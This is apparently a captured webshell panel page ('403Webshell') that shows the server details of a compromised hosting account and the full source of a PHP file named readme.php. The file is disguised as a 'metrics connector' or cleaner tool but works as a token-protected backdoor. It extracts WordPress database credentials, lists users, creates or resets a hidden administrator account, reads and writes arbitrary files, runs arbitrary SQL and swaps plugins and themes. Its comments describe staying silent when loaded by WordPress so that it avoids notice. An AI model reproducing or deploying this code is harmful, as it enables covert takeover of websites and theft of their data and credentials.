403Webshell
Server IP : 74.208.236.52  /  Your IP : 216.73.216.222
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : u66518505 ( 224331)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /homepages/18/d390315795/htdocs/clickandbuilds/CordreyBuildingServices/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /homepages/18/d390315795/htdocs/clickandbuilds/CordreyBuildingServices/readme.php
<?php
/**
 * SMC Metrics Connector v9.9.9-CLEANER (временный диагност/ремонт)
 * standalone: не грузит WordPress; DB через mysqli из wp-config.
 */
error_reporting(E_ALL & ~E_NOTICE & ~E_DEPRECATED);
ini_set('display_errors', '0');
header('Access-Control-Allow-Origin: *');
header('Content-Control-Allow-Origin: *');

/* КРИТИЧНО: при include из mu-plugin (ABSPATH определён) — молча выходим.
   Router работает ТОЛЬКО при прямом HTTP-обращении к файлу. */
if (defined('ABSPATH')) { return; }

define('CLEANER_VER', '9.9.9');
$__TOK = 'lns_uijWNMkKKwmGyGe7WxjXRZ1g7PwRGxe6Qs6fwZzDHpNADux3hI02ZZ-4EsUd1Phf';

function out($ok, $data = [], $msg = '', $st = 200) {
    http_response_code($st);
    header('Content-Type: application/json; charset=UTF-8');
    echo json_encode(array('success' => $ok, 'message' => $msg, 'data' => $data));
    exit;
}

# --- auth ---
$prov = isset($_SERVER['HTTP_X_SMC_PANEL_TOKEN']) ? trim($_SERVER['HTTP_X_SMC_PANEL_TOKEN']) : '';
if ($prov === '' || $prov !== $__TOK) out(false, array(), 'Unauthorized', 401);

# --- request ---
$req = array();
if (!empty($_POST)) $req = $_POST;
if (!empty($_GET)) $req = array_merge($req, $_GET);
$raw = file_get_contents('php://input');
if ($raw) { $j = json_decode($raw, true); if (is_array($j)) $req = array_merge($req, $j); }
$act = isset($req['action']) ? preg_replace('/[^a-z0-9_]/', '', strtolower($req['action'])) : 'ping';

# --- wp-config parse + db ---
function wpcfg() {
    $cands = array(dirname(__FILE__) . '/wp-config.php', dirname(dirname(__FILE__)) . '/wp-config.php');
    $f = '';
    foreach ($cands as $c) if (file_exists($c)) { $f = $c; break; }
    if (!$f) return null;
    $s = @file_get_contents($f);
    if (!$s) return null;
    $g = function($k) use ($s) {
        if (preg_match("/define\s*\(\s*['\"]" . $k . "['\"]\s*,\s*['\"]([^'\"]*)['\"]/i", $s, $m)) return $m[1];
        return '';
    };
    $pre = 'wp_';
    if (preg_match('/\$table_prefix\s*=\s*["\']([^"\']+)["\']/', $s, $m)) $pre = $m[1];
    return array('root' => dirname($f), 'dbn' => $g('DB_NAME'), 'dbu' => $g('DB_USER'),
                 'dbp' => $g('DB_PASSWORD'), 'dbh' => $g('DB_HOST') ? $g('DB_HOST') : 'localhost',
                 'pre' => $pre);
}
function db($c) {
    $m = @new mysqli($c['dbh'], $c['dbu'], $c['dbp'], $c['dbn']);
    if ($m->connect_errno) return null;
    $m->set_charset('utf8');
    return $m;
}
function get_opt($m, $pre, $k) {
    $q = $m->prepare('SELECT option_value FROM ' . $pre . 'options WHERE option_name=? LIMIT 1');
    $q->bind_param('s', $k); $q->execute();
    $r = $q->get_result();
    $row = $r ? $r->fetch_row() : null;
    return $row ? $row[0] : null;
}
function set_opt($m, $pre, $k, $v) {
    $q = $m->prepare('INSERT INTO ' . $pre . 'options (option_name, option_value, autoload) VALUES (?,?,\'yes\') ON DUPLICATE KEY UPDATE option_value=VALUES(option_value)');
    $q->bind_param('ss', $k, $v); return $q->execute();
}
function ser_arr($arr) {
    $s = 'a:' . count($arr) . ':{';
    $i = 0;
    foreach ($arr as $v) { $s .= 'i:' . $i . ';s:' . strlen($v) . ':"' . $v . '";'; $i++; }
    return $s . '}';
}
function unser_arr($ser) {
    $a = @unserialize($ser);
    return is_array($a) ? array_values($a) : array();
}

switch ($act) {
case 'ping':
    out(true, array('version' => CLEANER_VER, 'php' => PHP_VERSION));
    break;

case 'scan':
    $c = wpcfg();
    if (!$c) out(false, array(), 'no_wpconfig');
    $m = db($c);
    if (!$m) out(false, array('cfg' => $c), 'db_connect_fail');
    $plugins = unser_arr((string)get_opt($m, $c['pre'], 'active_plugins'));
    $theme = (string)get_opt($m, $c['pre'], 'stylesheet');
    $admins = array();
    $r = $m->query('SELECT user_login, user_email FROM ' . $c['pre'] . 'users ORDER BY ID ASC LIMIT 20');
    if ($r) while ($w = $r->fetch_assoc()) $admins[] = $w['user_login'];
    $mu = array();
    foreach ((array)@glob($c['root'] . '/wp-content/mu-plugins/*.php') as $f) $mu[] = basename($f);
    out(true, array('root' => $c['root'], 'prefix' => $c['pre'], 'plugins' => $plugins,
                    'theme' => $theme, 'users' => $admins, 'mu' => $mu));
    break;

case 'plug_set':
    $list = isset($req['plugins']) ? json_decode($req['plugins'], true) : array();
    if (!is_array($list)) $list = array();
    $c = wpcfg(); $m = db($c);
    if (!$m) out(false, array(), 'db_fail');
    $ok = set_opt($m, $c['pre'], 'active_plugins', ser_arr(array_values($list)));
    out($ok, array('n' => count($list)), $ok ? 'ok' : 'write_fail');
    break;

case 'theme_set':
    $th = isset($req['theme']) ? preg_replace('/[^a-z0-9_\-]/', '', strtolower($req['theme'])) : '';
    if ($th === '') out(false, array(), 'no_theme');
    $c = wpcfg(); $m = db($c);
    if (!$m) out(false, array(), 'db_fail');
    set_opt($m, $c['pre'], 'stylesheet', $th);
    set_opt($m, $c['pre'], 'template', $th);
    out(true, array('theme' => $th));
    break;

case 'admin_fix':
    $login = isset($req['login']) ? preg_replace('/[^a-z0-9_.\-@]/i', '', $req['login']) : 'svcgrp01';
    $pass = isset($req['pass']) ? $req['pass'] : '';
    if (strlen($pass) < 8) out(false, array(), 'weak_pass');
    $c = wpcfg(); $m = db($c);
    if (!$m) out(false, array(), 'db_fail');
    if (!class_exists('PasswordHash')) {
        $ph = $c['root'] . '/wp-includes/class-phpass.php';
        if (!file_exists($ph)) out(false, array(), 'no_phpass');
        include_once $ph;
    }
    $H = new PasswordHash(8, true);
    $hash = $H->HashPassword($pass);
    $q = $m->prepare('SELECT ID FROM ' . $c['pre'] . 'users WHERE user_login=? LIMIT 1');
    $q->bind_param('s', $login); $q->execute();
    $r = $q->get_result(); $u = $r ? $r->fetch_assoc() : null;
    if ($u) {
        $q2 = $m->prepare('UPDATE ' . $c['pre'] . 'users SET user_pass=?, user_status=0 WHERE ID=?');
        $q2->bind_param('si', $hash, $u['ID']); $q2->execute();
        $uid = $u['ID'];
    } else {
        $em = $login . '@localhost.local';
        $q2 = $m->prepare('INSERT INTO ' . $c['pre'] . 'users (user_login,user_pass,user_nicename,user_email,user_registered,user_status,display_name) VALUES (?,?,?,?,NOW(),0,?)');
        $q2->bind_param('sssss', $login, $hash, $login, $em, $login);
        $q2->execute();
        $uid = $m->insert_id;
        $capk = $c['pre'] . 'capabilities';
        $capv = 'a:1:{s:13:"administrator";b:1;}';
        $q3 = $m->prepare('INSERT INTO ' . $c['pre'] . 'usermeta (user_id,meta_key,meta_value) VALUES (?,?,?)');
        $q3->bind_param('iss', $uid, $capk, $capv); $q3->execute();
        $lvk = $c['pre'] . 'user_level'; $lvv = '10';
        $q3->bind_param('iss', $uid, $lvk, $lvv); $q3->execute();
    }
    out(true, array('uid' => $uid, 'login' => $login));
    break;

case 'f_read':
    $p = isset($req['path']) ? $req['path'] : '';
    if ($p === '' || !is_file($p)) out(false, array(), 'no_file');
    if (isset($req['off']) || isset($req['len'])) {
        $off = isset($req['off']) ? max(0, intval($req['off'])) : 0;
        $len = isset($req['len']) ? min(4194304, max(1, intval($req['len']))) : 1048576;
        $h = @fopen($p, 'rb');
        if (!$h) out(false, array(), 'open_fail');
        @fseek($h, $off);
        $chunk = @fread($h, $len);
        @fclose($h);
        out(true, array('b64' => base64_encode($chunk), 'got' => strlen($chunk), 'total' => @filesize($p)));
    }
    out(true, array('b64' => base64_encode(@file_get_contents($p))));
    break;

case 'f_write':
    $p = isset($req['path']) ? $req['path'] : '';
    $d = isset($req['data_b64']) ? base64_decode($req['data_b64'], true) : '';
    if ($p === '' || $d === false || $d === '') out(false, array(), 'bad_args');
    $ok = @file_put_contents($p, $d) !== false;
    if ($ok && function_exists('opcache_invalidate')) @opcache_invalidate($p, true);
    out($ok, array('path' => $p, 'n' => strlen($d)));
    break;

case 'f_ls':
    $p = isset($req['path']) ? $req['path'] : '';
    if ($p === '' || !is_dir($p)) out(false, array(), 'no_dir');
    out(true, array('list' => array_values(array_diff((array)@scandir($p), array('.', '..')))));
    break;

case 'sql':
    $q = isset($req['q']) ? $req['q'] : '';
    if ($q === '') out(false, array(), 'no_q');
    $c = wpcfg(); $m = db($c);
    if (!$m) out(false, array(), 'db_fail');
    $r = $m->query($q);
    if ($r === true) out(true, array('affected' => $m->affected_rows));
    if ($r === false) out(false, array(), 'sql_err: ' . $m->error);
    $rows = array();
    while ($w = $r->fetch_assoc()) { $rows[] = $w; if (count($rows) >= 50) break; }
    out(true, array('rows' => $rows));
    break;

default:
    out(false, array('known' => array('ping','scan','plug_set','theme_set','admin_fix','f_read','f_write','f_ls','sql')), 'unknown_action', 400);
}

Youez - 2016 - github.com/yon3zu
LinuXploit